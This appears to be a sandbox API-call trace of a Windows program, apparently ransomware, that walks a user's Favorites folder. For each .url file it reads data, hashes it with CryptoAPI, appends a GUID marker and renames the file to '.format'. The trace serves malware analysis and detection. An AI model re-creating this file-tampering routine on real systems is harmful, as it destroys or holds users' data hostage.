0x3289700 [0067.680] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x3289700, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 41 [0067.681] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x430) returned 0x32563b0 [0067.681] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3289700 | out: hHeap=0x5d0000) returned 1 [0067.681] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf30 | out: hHeap=0x5d0000) returned 1 [0067.681] WriteFile (in: hFile=0x5c8, lpBuffer=0x32563b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x32563b0*, lpNumberOfBytesWritten=0x38cfb2c*=0x28, lpOverlapped=0x0) returned 1 [0067.681] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32563b0 | out: hHeap=0x5d0000) returned 1 [0067.681] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0067.681] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0067.681] CloseHandle (hObject=0x5c8) returned 1 [0067.682] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edca8 [0067.682] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8b0) returned 0x3178dd8 [0067.682] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edca8 | out: hHeap=0x5d0000) returned 1 [0067.682] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft Store.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft store.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft Store.url.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft store.url.format")) returned 1 [0067.682] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.682] VirtualFree (lpAddress=0x2990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0067.684] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3185980 | out: hHeap=0x5d0000) returned 1 [0067.684] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x86, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft Store.url", cAlternateFileName="MICROS~1.URL")) returned 0 [0067.684] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0067.684] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31830e8 | out: hHeap=0x5d0000) returned 1 [0067.684] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac1b0 | out: hHeap=0x5d0000) returned 1 [0067.684] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0067.684] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31756e8 [0067.684] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0067.684] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175aa8 [0067.684] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.684] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.684] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175aa8 | out: hHeap=0x5d0000) returned 1 [0067.684] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175aa8 [0067.684] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.684] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.684] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175aa8 | out: hHeap=0x5d0000) returned 1 [0067.684] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175aa8 [0067.684] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.684] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.684] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175aa8 | out: hHeap=0x5d0000) returned 1 [0067.685] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175aa8 [0067.685] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.685] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.685] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175aa8 | out: hHeap=0x5d0000) returned 1 [0067.685] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175aa8 [0067.685] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.685] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.685] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175aa8 | out: hHeap=0x5d0000) returned 1 [0067.685] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175aa8 [0067.685] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0067.685] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.685] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175aa8 | out: hHeap=0x5d0000) returned 1 [0067.685] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175aa8 [0067.685] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.685] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0067.685] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.685] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0067.685] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175aa8 | out: hHeap=0x5d0000) returned 1 [0067.685] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175aa8 [0067.685] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.685] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.685] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175aa8 | out: hHeap=0x5d0000) returned 1 [0067.685] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175aa8 [0067.685] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0067.685] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.685] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175aa8 | out: hHeap=0x5d0000) returned 1 [0067.686] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175aa8 [0067.686] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0067.686] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.686] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175aa8 | out: hHeap=0x5d0000) returned 1 [0067.686] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175aa8 [0067.686] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0067.686] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.686] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175aa8 | out: hHeap=0x5d0000) returned 1 [0067.686] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175aa8 [0067.686] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.686] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.686] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175aa8 | out: hHeap=0x5d0000) returned 1 [0067.686] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175aa8 [0067.686] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\") returned="MSN Websites\\" [0067.686] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\") returned="Favorites\\" [0067.686] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0067.686] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0067.686] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eb88 | out: hHeap=0x5d0000) returned 1 [0067.686] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0067.686] PathFindFileNameW (pszPath="") returned="" [0067.686] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0067.687] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175aa8 | out: hHeap=0x5d0000) returned 1 [0067.687] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0067.687] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSN Autos.url", cAlternateFileName="MSNAUT~1.URL")) returned 1 [0067.688] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url") returned=".url" [0067.688] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn autos.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0067.688] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=133) returned 1 [0067.688] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0067.691] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.691] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0067.692] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x85, lpOverlapped=0x0) returned 1 [0067.692] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.692] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.692] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.692] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6ac1b0) returned 1 [0067.693] CryptCreateHash (in: hProv=0x6ac1b0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0067.693] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0067.693] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0067.693] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0067.693] GetLastError () returned 0x0 [0067.693] CryptDestroyHash (hHash=0x31befa0) returned 1 [0067.693] CryptReleaseContext (hProv=0x6ac1b0, dwFlags=0x0) returned 1 [0067.694] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3298740 | out: hHeap=0x5d0000) returned 1 [0067.694] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.694] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0067.694] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0067.694] CloseHandle (hObject=0x5c8) returned 1 [0067.695] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn autos.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn autos.url.format")) returned 1 [0067.696] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSN Entertainment.url", cAlternateFileName="MSNENT~1.URL")) returned 1 [0067.696] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Entertainment.url") returned=".url" [0067.696] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Entertainment.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn entertainment.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0067.697] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=133) returned 1 [0067.697] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0067.700] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.700] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0067.702] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x85, lpOverlapped=0x0) returned 1 [0067.702] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.702] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.702] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.702] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6ac1b0) returned 1 [0067.703] CryptCreateHash (in: hProv=0x6ac1b0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0067.703] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0067.703] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0067.703] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0067.703] GetLastError () returned 0x0 [0067.703] CryptDestroyHash (hHash=0x31befa0) returned 1 [0067.703] CryptReleaseContext (hProv=0x6ac1b0, dwFlags=0x0) returned 1 [0067.703] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.703] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0067.703] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0067.703] CloseHandle (hObject=0x5c8) returned 1 [0067.704] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Entertainment.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn entertainment.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Entertainment.url.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn entertainment.url.format")) returned 1 [0067.706] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSN Money.url", cAlternateFileName="MSNMON~1.URL")) returned 1 [0067.706] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Money.url") returned=".url" [0067.706] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Money.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn money.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0067.707] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=133) returned 1 [0067.707] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0067.710] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.710] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0067.711] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x85, lpOverlapped=0x0) returned 1 [0067.711] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.711] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.711] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.711] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6ac1b0) returned 1 [0067.712] CryptCreateHash (in: hProv=0x6ac1b0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0067.712] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0067.712] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0067.712] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0067.712] GetLastError () returned 0x0 [0067.712] CryptDestroyHash (hHash=0x31befa0) returned 1 [0067.712] CryptReleaseContext (hProv=0x6ac1b0, dwFlags=0x0) returned 1 [0067.712] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.713] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0067.713] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0067.713] CloseHandle (hObject=0x5c8) returned 1 [0067.713] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Money.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn money.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Money.url.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn money.url.format")) returned 1 [0067.715] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSN Sports.url", cAlternateFileName="MSNSPO~1.URL")) returned 1 [0067.715] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Sports.url") returned=".url" [0067.715] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Sports.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn sports.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0067.716] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=133) returned 1 [0067.716] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0067.719] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.719] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0067.720] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, 